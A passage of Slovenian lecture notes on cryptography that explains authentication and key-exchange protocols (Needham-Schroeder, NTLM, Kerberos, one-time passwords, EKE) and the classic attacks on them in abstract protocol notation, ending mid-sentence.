izračuna šele ob zagonu programa ter je sestavljen iz več blokov, od katerih je vsak šifriran s svojim ključem. Ob izhodu iz funkcije, preden se povrne klicatelju, se naj blok zašifrira nazaj . 8.4 Sklep Avtorska zaščita digitalnih vsebin ostaja še naprej velika težava, saj so skoraj vsi »zanimivi« produkti in sheme vdrte ter manjši in večji pirati bogatijo na račun pravih avtorjev. Res pa je, da si tudi »avtorji« pogosto »sposojajo« ideje pri drugih, posebej veliki. Obstaja sicer možnost, da bodo TPM rešitve, ki jih razvija Trusted Computing Group, preprečile današnje metode piratstva, vendar v obliki Velikega brata. 8.5 Literatura Eldad Eilam: Reversing, Secrets of Reverse Engineering Wiley Publishing, 2005 Vlad Pirogov: Disassembling Code, IDA Pro and SoftICE , A-LIST, LLC, 2006 Dan Kaminsky: Reverse Engineering Code with IDA Pro, Syngress Publishing, 2008 Greg Hoglund, James Butler: Subverting the Windows Kernel: Rootkits, Addison-Wesley, 2005 Ric Vieler: Professional Rootkits, Monografija, Wiley Publishing inc., 2007 Greg Hoglund, Gary McGraw: Exploiting Software, How to Break Code, Addison-Wesley, 2004 Rosenblatt, B. et al, Digital Rights Management: Business and Technology, John Wiley & Sons, 2001 Eberhard Becker, Willms Buhse, Dirk Günnewig, Niels Rump: Digital Rights Management - Technological, Economic, Legal and Political Aspects http://en.wikipedia.org/wiki/Trusted_Platform_Module, 12.6.2008 http://www.microsoft.com/resources/ngscb/default.mspx, 14.6.2008 http://citp.princeton.edu/pub/coldboot.pdf, 20.6.2008 ŠIFRIRANJE 9 Načini overjanja in napadi 9.1 Uvod Naj na začetku na kratko predstavimo pojme, ki jih bomo predstavili v nadaljevanju. Šifriranje (Encryption, Encipherment) pretvori sporočilo v obliko, ki je ni mogoče razbrati brez dešifriranja (Decryption, Decipherment). Samo sporočilo je lahko nešifrirano (Plaintext, Cleartext) ali šifrirano (Ciphertext, Cryptogram). Procedure s katerimi izvajamo šifriranje in dešifriranje imenujemo šifrirne algoritme oziroma šifrirne sisteme (Cryptographic Algorithms, Cryptographic Systems, Cryptosystems). Pri postopkih šifriranja in dešifriranja uporabljamo šifrirno/dešifrirne ključe (Cryptographic Key, Keys). Dva glavna pristopa k šifriranju sta simetrično in asimetrično šifriranje. Simetrično šifriranje je hitrejše in zanesljivejše, vendar je problem začetna izmenjava ključev. Pri simetričnem šifriranju imenujemo ključ deljeni ključ (shared key), pri asimetričnem imamo dva ključa in sicer javnega (public key) in zasebnega (private key). Okrajšave: M - sporočilo lahko v nešifrirani ali šifrirani obliki (plaintext or ciphertext) A – šifrirni algoritem za šifriranje in dešifriranje (cryptoalgoritem (decryption, encryption)) K - šifrirni ključ (cryptographic key) M' = A(K,M) - šifrirano sporočilo M' dobimo iz nešifriranega (berljivega) sporočila M, z uporabo šifrirnega algoritma A, s ključem K M = A'(K',M') - nešifrirano (berljivo sporočilo) M dobimo nazaj z dešifrirnim algoritmom A' s ključem K' iz šifriranega sporočila M' M = A'(K', A(K,M)) – združeni zgornji dve metodi, šifriranje sporočila M ter njegovo dešifriranje v enem koraku. {M}k s to oznako bomo v protokolu predstavljali šifrirano sporočilo 9.2 Enosmerna funkcija (Oneway Function) Na področju šifriranja je enosmerna funkcija zelo pomembna. Prvi pogoj zanjo je, da se različni vhodni vrednosti, preslikata v različni izhodni vrednosti(Glej enačbo 1) x <> y => f(x) <> f(y) (1) Drugi pogoj je, da je to funkcijo mogoče hitro izračunati. Rezultat funkcije, z inverzno funkcijo, nazaj v vhodno vrednost pa zelo težko. Ta funkcija mora zato biti v eno smer izračunljiva s polinomsko zahtevnostjo v obratno pa z eksponentno. Pri tem pridemo do največjega nerešenega problema teoretičnega računalništva, namreč ali sta razreda P in NP ekvivalentna ali ne. Če nista pomeni, da enosmerne funkcije obstajajo . Popolno šifriranje glede {M}k lahko definiramo z: 1.Brez skrivnega ključa K v simetričnem šifriranju oz. zasebnega ključa pri asimetričnem šifriranju, ni mogoče razvozlati {M}k 2.Tudi če je znan del sporočila iz M, ne sme biti mogoče razvozlati {M}k. 9.3 Pomen overjanja Pogosto si morata dve entiteti izmenjevati zaupne podatke na daljavo, ne da bi se srečali osebno in se dogovorili za ključ. To bi lahko še bilo sprejemljivo, kaj pa če jih je več in želijo komunicirat drug z drugim? To pomeni N*(N-1)/2 izmenjav, kar je v večini primerov nesprejemljivo. Zaradi tega so vpeljani strežniki za overjanje, ki izvajajo storitev overjanja. Hranijo bazo entitet in njihovih pripadajočih ključev. Takemu strežniku morajo vsi zaupati ! S tujko jih imenujemo TTP (Trusted Third Party) ali kar Trent. Entiteta (običajno oseba) ima s Trent-om dolgoročni ključ (Key encryption key, long-term key). Preko tega ključa se lahko dve entiteti (od katerih ima vsaka dolgoročni ključ s Trent-om) dogovorita za skrivni ključ potreben za šifrirano komunikacijo. Ko zaključita s sejo se skrivni ključ praviloma zavrže . Za varnost takšne komunikacije med entitetami s pomočjo Trent-a moramo zagotoviti: - Vzpostavitev ključa za overitev (Authenticated key-establishment). -Samo entiteti, ki komunicirata (npr. A in B) smeta poznati ključ K -Obe morata vedeti, da druga pozna K -Entiteti zaupata, da ju Trent ne bo poosebljal (impersonate), torej, da se ne bo (lažno) predstavljal, za katero od njiju -Obe morata vedeti, da je K sveže generiran kratkotrajni ključ (short-term key, session key, shared- key). To je potrebno, ker pri simetričnem šifriranju in šifriranju velike količine podatkov obstaja nevarnost, da ključ pridobi napadalec. To mu lahko uspe, če ključ po koncu komunikacije ni bil varno uničen, če prisluškuje omrežnemu prometu in/ali pozna del vsebine. Na primer pri šifrirani C izvorni kodi, ve za ključne besede, kot so: main, (, ), if, while, {, }, itd. Pri šifrirani komunikaciji med dvema entitetama je torej najpomembnejša vzpostavitev, izmenjava ključa s katerim, nato šifrirata svoja sporočila. Entiteti A in B, ki se medseboj ne poznata, obe pa zaupata Trent-u, želita torej varno komunicirati. Pri Trent-u ima vsaka dolgotrajni ključ (long-term key), ki ga pozna samo ona in Trent . Za vzpostavitev ključa za sejo med A in B si pomagamo prav z njunima, dolgotrajnima ključema s Trentom. S časom so v ta namen razvili več protokolov, ki jih bomo predstavili v nadaljevanju. Ker so javno dostopni, jih raziskujejo mnogi kriptografi. Ti včasih odkrijejo ranljivosti v protokolih, zato je potem potrebno takšne protokole popraviti . 9.4 Protokoli za vzpostavitev ključa za overjanje s pomočjo šifriranja (Protocols for Authenticated Key Establishment Using Encryption) Tu obravnavamo protokole, ki so namenjeni, prenosu tajnih sporočil med entitetami, ki zaupajo istemu Trent-u. Z njimi entitete med seboj izmenjujejo kratkotrajne, skrivne ključe za šifriranje sporočil(a) . 9.4.1 Protokol od A do B Izvedba protokola – Slika 1: A Trent B 1 2 3 Slika1: Protokol od A do B 1.Korak: Entiteta A generira naključen ključ K, ga šifrira s svojim dolgotrajnim ključem, ki ga deli s Trent-om, in ga pošlje Trent-u: K -> {K}K_AT; A, B, {K}K_AT 2.Korak: Trent v svoji bazi poišče svoj dolgotrajni ključ, ki ga deli z Entiteto B ter z njim šifrira ključ, ki ga je generirala Entiteta A: K_AT, K_BT, dešifriranje {K}K_AT, dobimo K; {K}K_BT in pošlje: A, B, {K}K_BT 3.Korak: Entiteta B z dolgotrajnim ključem, ki ga deli s Trent-om dešifrira ključ za zaupno komunikacijo z Entiteto A: Dešifrira {K}K_BT, izračuna K; 4.S tem ključem nato šifrirata in dešifrirata sporočila, ki si jih pošiljata: {Zdravo, jaz sem B}K ... 9.4.2 Protokol od A do B s ključem za sejo Pri zgornjem postopku je lahko problematično generiranje "naključnega" ključa za izmenjavo sporočil. Entiteta A lahko uporabi prekratki ključ, takšnega, ki si ga je lahko zapomniti itd. Zato je boljše, če ključ za komunikacijo generira Trent (ključ za sejo - session key), zato je protokol treba prilagoditi (Slika 2): A Trent B 1 2 3 4 Slika 2: Protokol od A do B s ključem za sejo 1. najprej Entiteta A sporoči Trent-u svojo in B-jino identiteto: A, B 2. Trent poišče ključa K_AT in K_BT, generira ključ za sejo, ga šifrira z K_AT ter z K_BT in pošlje A: K_AT, K_BT; generira K; šifrira K s: {K}K_AT, {K}K_BT in pošlje A 3. A dešifrira ključ za sejo: dešifrira {K}K_AT in pošlje B: Trent, A, {K}K_BT 4. B dešifrira {K}K_BT, dobi K, in lahko vzpostavi komunikacijo {Zdravo, jaz sem B}K .. 9.4.3 Napadi na protokol od A do B s ključem za sejo Zgornji protokol ima napako. Problem je v tem, da ni zagotovljena tajnost informacije, kdo sme prejeti ključ za sejo (session key) . Napad poteka tako, da napadalec prestreže nekatera sporočila, jih spremeni in pošlje drugim entitetam ter pri tem pooseblja druge entitete . Predpostavka je, da ima tudi napadalec dolgotrajni ključ s Trent-om ( K_NT). A Napadalec N Trent B 1 2 3 4 5 Slika 3: Napad na protokol od A do B Postopek – Slika 3: 1 Entiteta A pošlje Trent-u: A, B. V resnici jo prestreže napadalec N("Trent") 2 Napadalec N v imenu A, pošlje Trent-u zahtevo za ključ za sejo: A, N 3 Trent najde ključa: K_AT, K_NT, generira K; pošlje A: {K}K_AT, {K}K_NT 4 A dešifrira K s K_AT in pošlje napadalcu N: Trent, A, {K}K_NT 5 Napadalec N vzpostavi komunikacijo s: {Zdravo, jaz sem B}K Tako entiteta A v resnici komunicira z napadalcem, ne da bi to vedela. Pogoj pa je, da je napadalec legalni uporabnik Trent-a. Napad je mogoč predvsem zato, ker se identiteta entitete B pošlje v nešifrirani obliki. Rešitev je torej mogoča s tem, da B skrijemo . Popravek protokola: 1 Entiteta A pošlje Trent-u: A, {B}K_AT 2 Trent poišče K_AT in dešifrira {B} Preostanek potokola je enak osnovnemu Nadaljnji napad Protokol kljub popravku še ni popoln. Pod določenimi pogoji lahko napadalec ugotovi entiteto B (npr. Iz IP naslova) ter šifrirano entiteto napadalca s ključem K_AT, ki jo napadalec posname med njegovo predhodno, legalno šifrirano komunikacijo z entiteto A . Začetek napada je tako: 1 N(A) pošlje Trent-u : A, {N}K_AT 2 preostanek napada je enak. Še eden napad N("Trent") pošlje A: {K'}K_AT, ...; K' je ključ predhodne, legalne seje med entiteto A in napadalcem. Napadalec je pri tem zabeležil {K'}K_AT šifrirano vsebino . 9.4.4 Protokol za overjanje sporočil (Protocol Message Authentication) Kot vidimo, do sedaj obravnavani protokoli ne nudijo dovolj varnosti. Problem je predvsem v tem, da lahko napadalec spreminja podatke v sporočilih, predvsem lažno predstavljanje entitet. Zaradi tega so vpeljali protokol za overjanje sporočil (Protocol Message Authentication), pri katerem so šifrirane tudi entitete, ne samo ključi . Potek protokola za overjanje sporočil: 1. A pošlje Trent-u: A, B 2. Trent pošlje A: {B,K}K_AT, {A,K}K_BT 3. A dešifrira {B,K}K_AT, preveri identiteto B in pošlje B: {A,K}K_BT 4. B dešifrira {A,K}K_BT, preveri identiteto A in pošlje A: {Zdravo, jaz sem B}K Problem je v tem, da je iz opazovanja prometa v omrežju, predvsem naslova prejemnika in naslova pošiljatelja, mogoče odkriti entiteti A in B. To pomeni, da je ranljiv podobno, kakor protokol med A in B s ključem za sejo . Da bi bil ta protokol varen, bi morali zagotoviti, da šifriranega sporočila, ne bi bilo mogoče spremeniti, tudi če napadalec pozna nešifrirano sporočilo . 9.4.5 Napad s ponovnim pošiljanjem sporočila (Message Replay Atack) Na protokol z aventikacijo sporočil je mogoč tudi napad s ponovnim pošiljanjem sporočila. Ta napad temelji na ponovni uporabi starega ključa seje K. Namreč dogaja se, da po končani legalni komunikaciji med A in B, ključ seje ni uničen. Sporočilom prisluškuje napadalec in nemara zaradi nepazljivosti katere od entitet, po uporabi pridobi kjuč seje. V tem primeru prične ponovno pošiljati posneta sporočila ter prisluškuje komunikaciji, ker A in B uporabljata star ključ seje . 9.4.6 Protokol poziv-odgovor (protocol challenge-response Needham-Schroeder) Protokol poziv-odgovor (znan tudi kot Needham-Schroeder Symmetric-key Authentication Protocol) je bil razvit z namenom, da onemogoči napad s ponovnim pošiljanjem sporočil. Ideja je, da entiteta, ki sproži komunikacijo vsakokrat generira novo naključno število, ki mu rečemo nonce (Number used ONCE), in ga skupaj z oznako svoje in ciljne entitete pošlje Trent-u. Nonce jamči, da je ključ seje nov, svež, še ne uporabljen . Potek protokola (Slika 4): A Trent B 1 2 3 4 5 Slika 4: Protokol Poziv-Odgovor 1. Entiteta A ustvari Nonce_A in pošlje Trentu: A, B, Nonce_A 2. Trent ustvari ključ seje K in pošlje A: {Nonce_A, K, B,{K, A}K_BT}K_AT 3. A dešifrira sporočilo, preveri Nonce_A-o (če je tista, ki jo je poslal) in entiteto B ter pošlje B: Trent, {K, A}K_BT 4. B dešifrira sporočilo, preveri identiteto A,ustvari Nonce_B in pošlje A: {Zdravo, jaz sem B, Nonce_B, }K 5. A pošlje B: {Zdravo, jaz sem A, Nonce_B-1}K Vidimo, da tudi B ustvari svoj Nonce in pošlje A. Če mu A pošlje nazaj npr. Za ena zmanjšano vrednost njegovega Nonce-a, šifriranega s ključem seje K, lahko sklepa, da je K res svež . Napad na protokol Poziv- Odgovor (Needham Schroeder) Napadalec včasih lahko pride do starega ključa K' . V tem primeru se more entiteti B predstavljati, kot A . Napad poteka (Slika 5) tako: A Trent B 1 2 3' 3 4 Napadalec N 5 Slika 5: Napad na protokol Izziv-odgovor 1. Koraka 1 in 2 sta nespremenjena glede na legalni protokol 3. V 3.tjem koraku se napadalec predstavi, kot B in prestreže sporočilo A, ki je namenjeno (pravemu) B. 4. Nato se predstavi, kot A in pravemu B pošlje: {K', A}K_BT ( K' je ključ zajet v predhodni komunikaciji med A in B). 5. B dešifira sporočilo, preveri identiteto A in pošlje lažnemu A: {Zdravo, jaz sem B, Nonce_B}K' 6. Napadalec - lažni A pošlje: {Zdravo, jaz sem A, Nonce_B-1}K' 9.4.7 Protokol za overjanje entitet (Protocol With Entity Autentication) Ta protokol se skoraj ne razlikuje od protokola za overjanje sporočil, potrebno je zgolj dodati preverjanje "živosti" entitet. Ta protokol je tisti, ki je vsebovan v protokolu Poziv-odgovor (kjer piše preveri entiteto). Če entiteta A od Trenta dobi zadnjo nonce-o, ve da je trent živa entiteta. Toda entiteta B v protokolu Poziv-Odgovor, nima jamstva, da je Trent živ. Trent bi se moral avtenticirati obema entitetama. To lahko storimo tako, da tudi B pošlje nonce-o Trentu. Slabost tega pristopa je, da povzroči dodaten promet v omrežju, obremenjuje računalnike, zahteva več časa itd. Druga možnost je uporaba časovnih znamk (timestamp). Pri tej metodi, pa je potrebno točno nastaviti čase. 9.4.8 Protokol z javnim ključem Ta protokol je znan kot Needham-Schroeder Public Key Authentication Protocol in temelji na javnih in zasebnih ključih za entitete. Vsaka entiteta ima javen ključ, ki ga poznajo vsi oziroma je javno dostopen in zaseben (privaten) ključ. Tega pozna samo entiteta, kateri pripada . Le s pripadajočim zasebnim ključem je mogoče dešifrirat sporočilo, ki je šifrirano z javnim ključem in obratno . Sporočilo entitete šifrirano z njenim zasebnim ključem, predstavlja njen elektronski podpis (digital signature). Potek protokola: 1. A pošlje Trent-u: A, B 2. Trent pošlje A: {K_B, B}K_T-1 3. A preveri Trent-ov elektronski podpis, ustvari nonce-a N_A in pošlje B:{N_A, A}K_B 4. B dešifrira sporočilo, preveri identiteto A in pošlje Trent-u: B, A 5. Trent pošlje B: {K_A, A}K_T-1 6. B dešifrira sporočilo Trent-a, preveri njegov elektronski podpis, ustvari nonce-a N_B in pošlje A: {N_A, N_B}K_A 7. A dešifirira sporočilo in pošlje B: {N_B}K_B V nadaljevanju, lahko A in B ustvarita svoj ključ za sejo (torej simetrični skrivni ključ). 9.4.9 Napad na protokol z javnim ključem Sedemnajst let po odkritju protokola so odkrili možen napad nanj. Najprej so opazili, da je ta protokol mogoče razbiti dva dela. Koraki 1, 2, 4,5 služijo izmenjavi javnih ključev, koraki 3, 6, 7 pa izvajajo overjanje.Napad je mogoč, potem ko entiteta A skuša vzpostaviti sejo z napadalcem. Napad vključuje dva hkratna poteka protokola. 1. 1-3 A pošlje N {N_A, A}K_N | 2-3 N pošlje B {N_A, A}K_B 2. 2-6 B pošlje N {N_A, N_B}K_A | 1-6 N pošlje A {N_A, N_B}K_A 3. 1-7 A pošlje N {N_B}K_N | 2-7 N pošlje B {N_B}K_B Ključen moment je, da N_B namesto napadalca dešifrira entiteta A in dešifriranega pošlje napadalcu, ki se lahko nato pretvarja, da je A . Odprava tega problema je enostavna, v šestem koraku protokola mora entiteta B poslati A: {B, N_A, N_B}K_A 9.5 Literatura Wenbo Mao, Modern Cryptography, Hewlett-Packard Company, 2004 Needham-Schroeder Public Key Protocol http://dimacs.rutgers.edu/Workshops/Security/program2/boyd/node14.html , 2009 Roger M.Needham, Michael D. Schroeder: Using encryption for authentication in large networks of computers, http://portal.acm.org/citation.cfm?id=359659 2009 10 Tehnike overjanja v praksi (ZARADI OBŠIRNOSTI TEMATIKE VSE NI OBDELANO - ŠKRBINE) 10.1 Uvod Overitveni protokoli (Authentication protocols) so pomemben del kriptografije. Jamčijo, da so viri podatkov (data-origin), entitete (entities) in šifrirni ključi, zares tisti, za katere se predstavljajo, da so (to je v primeru, če je dotični overitveni protokol popoln, brez napak). 10.2 Osnovne tehnike overjanja 10.2.1.Kontrola svežosti sporočil in živosti entitet Naslov svežost sporočil in živost entitet se morda sliši eksotično, vendar sta to ena osnovnih kazalnikov regularnosti omrežnega prometa ter temeljna gradnika overitev. Če so sporočila nova, sveža nas na primer to že ščiti pred napadom s ponovnim pošiljanjem sporočil (Message Replay Attack). To dvoje dosežemo z raznimi Challenge-Response mehanizmi (pri katerih uporabljamo Nonce (Number used once), za katere ni nujno,da so sestavljene samo iz cifer) ali z uporabo časovnih znamk (Timestamp). Pri tem predpostavljamo, da entiteti že imata vsak svoj javno/privatni par ključev oziroma skupni skrivni ključ. Mehanizem izziv-odgovor (Challenge-Response) Pri tem mehanizmu entiteta B, ki izvaja overjanje, preveri svežost in živost entitete A (upravičenca), s svežino lastnega vhoda (to je običajno njegova nonce-a). Osnovna inačica je naslednja (potem, ko A hoče komunicirati z B): 1. B pošlje A: 𝑁𝐵 - izziv A (𝑁𝐵 je nonce entitete B) 2. A pošlje B: 𝐸𝐾 (𝑀, 𝑁 𝐴𝐵 𝐵) – odgovor B-ju (šifriranje sporočila M in nonce-o B 𝑁𝐵 s simetričnim šifrirnim algoritmom s skrivnim ključem, ki si ga delita A in B 𝐾𝐴𝐵) 3. B to dešifrira in preveri, če je v njem res njegova nonce-a, ki jo je poslal A. Če ni prava zavrne overitev. Po preučevanju te inačice se pokaže, da ne jamči svežosti sporočila, ker ni poskrbljeno za celovitost podatkov (data integrity). Zato je mehanizem treba prilagoditi. Popravljen postopek je sledeč (uporabimo MDC Manipulation Detection Code): 1. B pošlje A: 𝑁𝐵 - izziv A (𝑁𝐵 je nonce entitete B) 2. A pošlje B: 𝑀, 𝑀𝐷𝐶(𝐾𝐴𝐵, 𝑀, 𝑁𝐵) – odgovor B-ju (sporočilo M (ki je lahko šifrirano) ter MDC izračunan s skupnim skrivnim ključem 𝐾𝐴𝐵, nad tem istim ključem, sporočilom M in nonce-o B 𝑁𝐵) 3. B rekonstruira 𝑀𝐷𝐶(𝐾𝐴𝐵, 𝑀, 𝑁𝐵) in preveri, če je ta enaka poslani v drugem koraku. Če ni B zavrne overitev. Mehanizem izziv-odgovor je mogoče izvesti tudi z asimetrično kriptografijo in sicer: 1. B pošlje A: 𝑁𝐵 - izziv A (𝑁𝐵 je nonce entitete B) 2. A pošlje B: 𝑠𝑖𝑔𝐴(𝑀, 𝑁𝐵), pri tem je 𝑠𝑖𝑔𝐴 elektronski podpis s privatnim ključem A 3. B z javnim ključem entitete A preveri podpis in svojo nonce 𝑁𝐵 Uporaba časovnih znamk (timestamp) Svežost sporočil lahko zagotovimo tudi z uporabo časovnih znamk. V tem primeru entiteta A, ki začne komunikacijo, sporočilu doda še časovno znamko. Pri tem načinu je ključno, da so vsi računalniki časovno sinhronizirani (običajno po GMT svetovnem času ne glede na zemljepisno lego). Tudi tu moramo paziti na integriteto sporočil, zato je postopek s simetričnim šifriranjem naslednji: 1.A pošlje B: 𝑀, 𝑇𝐴, 𝑀𝐷𝐶(𝐾𝐴𝐵, 𝑀, 𝑇𝐴) - 𝑇𝐴 je časovna znamka A 2.B rekonstruira 𝑀𝐷𝐶(𝐾𝐴𝐵, 𝑀, 𝑇𝐴) 3.B primerja, če sta MDC-ja enaka in časovna znamka dovolj blizu trenutnega časa B. V tem primeru potrdi svežost. Ponovno lahko uporabimo asimetrično šifriranje: 1.A pošlje B: 𝑠𝑖𝑔𝐴(𝑀, 𝑇𝐴) 2.B preveri elektronski podpis in potrdi svežost, če je časovna znamka dovolj sveža. NTLM kot protokol za overjanje NTLM je ena od praktičnih implementacij mehanizma izziv-odgovor. V Windows omrežjih je NTLM (NT LAN Manager) nabor protokolov za overjanje (authentication), celovitost (integrity) in zaupnost (confidentiality) ter je naslednik starejšega LAN Manager (LM – LANMAN) protokola. Ker tako LM, kot tudi NTLM (NTLMv1) protokol ni več dovolj varen, so v Windows-e po Windows NT 4 SP4 implementirali NTLMv2 protokol, v katerem je varnost izboljšana. Kljub vsemu Microsoft odsvetuje uporabo NTLM protokolov, vendar se jim je težko izogniti, predvsem zaradi združljivosti s starejšimi sistemi. Delovanje NTLMv1 protokola: 1.Strežnik generira osem bajtno naključno število, ki predstavlja izziv in ga pošlje odjemalcu 2.Odjemalec uporabi zgoščevalni algoritem MD4 (Message Digest) na Unicode geslu z majhnimi in velikimi črkami. Izid je šestnajstbajtna vrednost – NT-hash. 3. Dodamo mu pet praznih znakov, tako da je dolg 21 bajtov. 4. Ta niz razdelimo v tri sedembajtne dele. 5. Iz njih se ustvarijo trije DES-ključi.5. Vsak od teh ključev zašifrira izziv, poslan v sporočilu tipa 2, in tako nastanejo trije osembajtni šifrirani nizi. Spojijo se in predstavljajo 24-bajtni NTLM-odgovor. 6. Odjemalec to vrednost pošlje strežniku, ki še sam izvede korake od 2 do 5 7. Strežnik preveri, če sta vrednosti enaki in v primeru da sta, overitev uspe. V praktični implementaciji odjemalec izračuna še LM odgovor in vrednost stakne skupaj s NT (NTLM). To pomeni velik varnostni problem, saj je LM odgovor relativno enostavno razbiti. Potek LANMAN (LM) protokola: 1. Uporabnikovo geslo pretvorimo v velike črke (uppercase). 2. Če je geslo krajše od štirinajstih znakov, ga dopolnimo s praznimi znaki, če pa je daljše od štirinajstih znakov, presežek opustimo. 3. Tako obdelano geslo razdelimo v dve polovici po sedem bajtov. 4. Na osnovi teh dveh polovic se tvorita dva DES-ključa, in sicer vsak iz ene polovice. 5. Vsak od ključev zašifrira ASCII-konstanto ‘KGS!@#$%’, tako da dobimo dva šifrirana osembajtna niza. 6. Postopek spoji niza in nastane šestnajstbajtna vrednost: LM-hash. 7. LM-hash dopolnimo s praznimi znaki, tako da je dolžina 21 bajtov. 8. Dobljeno vrednost razdelimo v tri sedembajtne dele. 9. Te tri dele uporabimo za tvorjenje treh DES-ključev (iz vsakega dela enega). 10. Z vsakim od treh DES-ključev šifriramo izziv (challenge) v sporočilu tipa 2. 11. Tako dobimo tri osembajtne šifrirane vrednosti, ki tvorijo 24-bajtni LM- odgovor. Najbolj očitni slabosti tega protokola sta, da ne loči med malimi in velikimi črkami (oziroma vedno uporablja velike), kar zelo zmanjša število možnih kombinacij, ter dejstvo, da bodo, če je geslo dolgo do sedem znakov, v drugi polovici koraka 3 samo prazni znaki – to pomeni, da bosta drugi del, razen enega bajta, in celotni tretji del znani konstanti. NTLMv2 protokol: Ta postopek so razvili z namenom, da bi odpravili varnostne pomanjkljivosti v NTLM. Če je omogočen NTLMv2, nadomesti NTLM-odgovor. NTv1-odgovor se nadomesti z NTv2, LM-odgovor pa se nadomesti z odgovorom LMv2. Ta algoritma sta relativno varna. Postopek konstrukcije NTLMv2-odgovorov je naslednji: 1. NT-hash izračunamo v skladu s korakom 2 pri konstrukciji običajnega NT- odgovora. 2. Združita se uporabniško ime in ime domene oziroma strežnika v zapisu Unicode z velikimi črkami (uppercase). 3. Algoritem HMAC-MD5 za overitev kode izvedemo nad vrednostjo iz koraka 2 s šestnajstbajtnim NT-hashem kot ključem. To da šestnajstbajtno vrednost – NTLMv2-hash. 4. Blok podatkov, znan kot blob, dodamo izzivu. Najpomembnejši blobovi podatki so: podpis (signature), časovna znamka (timestamp), odjemalčev izziv ter podatki o ciljnem sistemu. 5. Nad to vrednostjo uporabimo algoritem HMAC-MD5 s šestnajstbajtnim NTLMv2-hashem kot ključem. To da šestnajstbajtno izhodno vrednost NTv2. 6. LMv2 odgovor pridobimo, tako da uporabimo HMAC-MD5 nad NTLMv2- hash-em staknjenim z strežnikovim in odjemalčevim izzivom. 7. Tej vrednosti (LMv2), dodamo odjemalčev izziv, NTv2 ter blob, kar skupaj predstavlja NTLMv2-odgovor. 10.3. Obojestranska overitev (Mutual Authentication) Dosedaj smo predstavili takoimenovane enostranske metode za zagotovitev svežosti sporočil. Pri obojestranski overitvi, pa se obe entiteti overita ena drugi. Pri tem mehanizmu je pomembna ugotovitev, da vzajemna overitev ni preprosto sestavljena iz dveh enostranskih. Zato za zgoden ISO Three-Pass Mutual Authentication Protocol obstaja Wiener-jev napad, znan tudi kot Kanadski napad (Canadian Attack). 10.4 Overitve z uporabo Trent-a (Trusted Third Party) V dosedanjem izvajanju smo domnevali, da imata entiteti, ki si izmenjujeta sporočila že vzpostavljen varni kanal oziroma razpolagata z javnim ključem drug druge entitete. Z uporabo Trent-a se lahko varno povežeta tudi entiteti, ki se pred tem predtem nista poznali. Trent ima običajno bazo s podatki o velikem številu entitet vključujoč dolgotrajne ključe z njimi. Pomembna protokola v zvezi s Trent- om sta ISO Four-Pass Authentication Protocol in ISO Five-Pass Authentication Protocol. 10.4.1 Kerberos Kerberos, ki so ga razvili na inštitutu MIT v poznih osemdesetih letih dvajsetega stoletja, izvaja vzajemno (oziroma obojestransko) overjanje, s pomočjo Trent-a (ki ga tu označujemo s sinonimom KDC - Key Distribution Center). Pri tem je teoretična podlaga Needham-Schroeder simetrični protokol. Ta KDC je sestavljen iz dveh logično ločenih delov: AS (Authentication Server) in TGS (Ticket Granting Server) 10.5 Overitve na osnovi gesla (PAKE - Password-Autheticated Key Agreement) Overitev na osnovi gesla je v interakcijah uporabnik strežnik najpogostejši način overitve. Zgodovinsko so jo uvedli pri terminalskem dostopu dostopu do mainframe računalnika. Ker je bila fizična povezava (kabel) varna in znotraj organizacije in prisluškovanja na »žici« ni bilo. Zaradi tega so sporočila (gesla) po njej potovala nešifrirano. Pri tem enostavnem overjanju je postopek tekel tako: 1.U pošlje H: 𝐼𝐷𝑈 - uporabnik pošlje sistemu posreduje svojo identifikacijsko kodo (uporabniško ime) 2.H pošlje U: »GESLO« - sistem pozove uporabnika naj pošlje geslo 3.U pošlje H: 𝑃𝑈 - uporabnik pošlje geslo 4.H v svoji bazi preko uporabniškega imena poišče uporabnikovo geslo in preveri, če je enako posredovanemu. V tem primeru overitev potrdi, drugače pa zavrne. Problema sta, kot smo rekli prisluškovanje povezavi ter dejstvo, da ima sistem gesla v nešifrirani obliki. Drug problem je, da v primeru vdora v tak sistem, napadalec pridobi gesla vseh njegovih uporabnikov. Tudi ne želimo, da ima skrbnik sistema, dostop do gesel. 10.5.1 Needham's Password Protocol Ta protokol zelo elegantno rešuje problem hranjenja gesel na strežniku. Gesla se ob vnosu obdelajo z enosmerno funkcijo (npr. MD5, SHA-1....). Protokol se od zgornjega razlikuje le v četrtem koraku, ko sistem od uporabnika posredovano geslo, obdela z enosmerno funkcijo ter primerja s shranjeno vrednostjo. Za boljšo zaščito dodamo še »sol« (salt), ker so gesla prepogosto kratka in enostavna ter tako ranljiva za napad s surovo silo (brute force) ali preko slovarja (dictionary), z ugibanjem gesel. 10.5.2 Shema z enkratnimi gesli (One-time Password Scheme) Lamport je leta 1981objavil zanimiv mehanizem za zaščito pred prisluškovanjem na žici. Zgledoval se je po 10.4.1, enosmerno šifrirno funkcijo uporabi tako uporabnik, kot strežnik in to pri vsaki overitvi. Na začetku strežnik na geslu uporabnika izvede kriptografsko zgoščevalno (enosmerno) funkcijo npr. tisočkrat. Ko se hoče uporabnik overiti na strežniku nad svojim geslom izvede enosmerno funkcijo 999 krat. Ko ta vrednost prispe do strežnika, ta na njej izvede enosmerno funkcijo še enkrat, če je ta vrednost enaka shranjeni overitev odobri in v svoji bazi za tega uporabnika shrani geslo, ki ga je poslal uporabnik (to je 999 krat obdelano z enosmerno funkcijo). Tako nadaljujeta pri novih overitvah dokler ne prideta do enke. Potem morata vzpostaviti novo začetno geslo. Problem pri tem mehanizmu je da se sinhronizacija lahko poruši (tudi s posredovanjem napadalca). Lamport je predlagal, da bi v tem primeru, skočili naprej, do nižje vrednosti števca med obema entitetami, vendar je zato potrebna nova, osnovna vzajemna overitev in ideja ni zaživela. Protokol S/KEY gradi na Lamport-ovi shemi, s tem da problem sinhronizacije rešuje z hranjenjem števca v strežnikovi bazi. Ko se uporabnik želi prijaviti, mu pošlje ta števec. Problem pa je, da se strežnik ne overi uporabnikov, zato lahko morebiten napadalec manipulira s tem števcem in izvede posredniški (man-in-the-middle) napad. 10.5.3 Izmenjava šifriranega ključa (EKE Encrypted Key Exchange) Bellovin in Merrit sta leta 1992 za overitev z geslom predlagala ta protokol, kot zaščito pred ugibanjem gesel, tako na žici (online), kot na svojem računalniku (offline) (kar gre mnogo hitreje). Posebna prednost mehanizma je to, da je zaščita zelo močna, kljub preprostim geslom. Algoritem namreč omogoča, neke vrste dodajanja »soli« (salt) neodvisno od gesla. Sol se pri vsaki overitvi naključno generira, predhodna vrednost pa zavrže. Vključena je preko asimetričnega Diffie-Hellman protokola, katerega javni ključ šifriramo z geslom, ki si ga delita obe strani. Pri osnovni inačici protokola je geslo shranjeno v berljivi 